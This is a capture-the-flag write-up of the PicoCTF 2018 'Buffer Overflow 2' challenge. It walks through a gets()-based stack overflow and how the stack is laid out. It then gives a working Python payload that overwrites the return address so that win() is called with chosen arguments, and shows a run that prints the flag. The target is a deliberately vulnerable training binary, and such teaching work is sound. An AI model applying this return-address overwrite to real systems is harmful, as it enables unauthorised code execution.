PicoCTF 2018 - Buffer Overflow 2

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

vuln() is nearly identical to the last ‘buffer-overflow’ challenge, so flip back to it now if you need a refresher.

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

Strategy

There still is a win function, but this time around you can’t just call it, you have to also ensure that the first argument is 0xDEADBEEF and the second argument is 0xDEADC0DE or it won’t print the flag.

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

However, overall our strategy is exactly the same: smash the stack, put the address of win into the return address, put whatever arguments win needs in the right spots, and grab the flag.

$ checksec vuln
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

$ nm vuln | grep win
080485cb T win

The code for the function win() begins at the address 0x080485cb (no PIE, no ASLR). When you are prepared to tackle the challenge, cd to /problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa on the shell server.

Background Info

First off, how much space is available for our buffer?

push   ebp
mov    ebp,esp
sub    esp,0x78
sub    esp,0xc
lea    eax,[ebp-0x6c]
push   eax
call   8048430 <gets@plt>
add    esp,0x10
sub    esp,0xc
lea    eax,[ebp-0x6c]
push   eax
call   8048460 <puts@plt>
add    esp,0x10
nop
leave
ret

As we can see here, the buffer begins at ebp-0x6c, which means that there is 100 bytes of buffer, plus 8 bytes of padding. We already know that after the padding is the preserved value of ebp, and following that is the return address of our function. Therefore, the stack for vuln looks something like this:

lower addresses higher addresses
buf[100] < padding[8] > <old ebp> <return address>

The question becomes, how do we pass 0xDEADBEEF and 0xDEADC0DE as arguments to the function win?

Recall, if you were calling the function win from normal code, you would use assembly like this:

push 0xDEADCODE ; arugments "pushed" last to first
push 0xDEADBEEF 

call win ; IMPLICIT "push next_instruction", which pushes the address of the next instruction onto the stack

next_instruction:
  ; ...

Which means that 0xDEADCODE gets pushed first, then 0xDEADBEEF, then the return address. Since the stack grows “up”, that means in memory the return address is first (lowest address), followed by 0xDEADBEEF, followed by 0xDEADC0DE.

lower addresses higher addresses
<return address> 0xDEADBEEF 0xDEADC0DE

Which is exactly what the state of the stack should be when the win function gets called. In this case <return address> is the address that gets called after win executes (ie: after the flag is printed, since stdout is once again set to non-buffering). Since you already have the flag, you can set it to anything you like (causing a segfault when win returns).

Exploitation

Putting it all together, the write to the buffer should look like this:

  1. 108 bytes of don’t care
  2. 4 bytes overwriting preserved ebp (also don’t care)
  3. 4 bytes return address for vuln (0x080485cb == &win)
  4. 4 bytes return address for win (0x55555555)
  5. 4 bytes arg1 (0xDEADBEEF)
  6. 4 bytes arg2 (0xDEADC0DE)

Or, in python (don’t forget to write your multi-byte values in little-endian form):

print("U"*108 + "U"*4 + "\xcb\x85\x04\x08" + "\x55\x55\x55\x55" + "\xef\xbe\xad\xde" + "\xde\xc0\xad\xde")

Let’s try it out at /problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa on the shell server:

/problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa$ python -c 'print("U"*108 + "U"*4 + "\xcb\x85\x04\x08" + "\x55\x55\x55\x55" + "\xef\xbe\xad\xde" + "\xde\xc0\xad\xde")' | ./vuln
Please enter your string:
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU˅UUUUᆳ�����
picoCTF{===REDACTED===}Segmentation fault (core dumped)

Great Job! Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.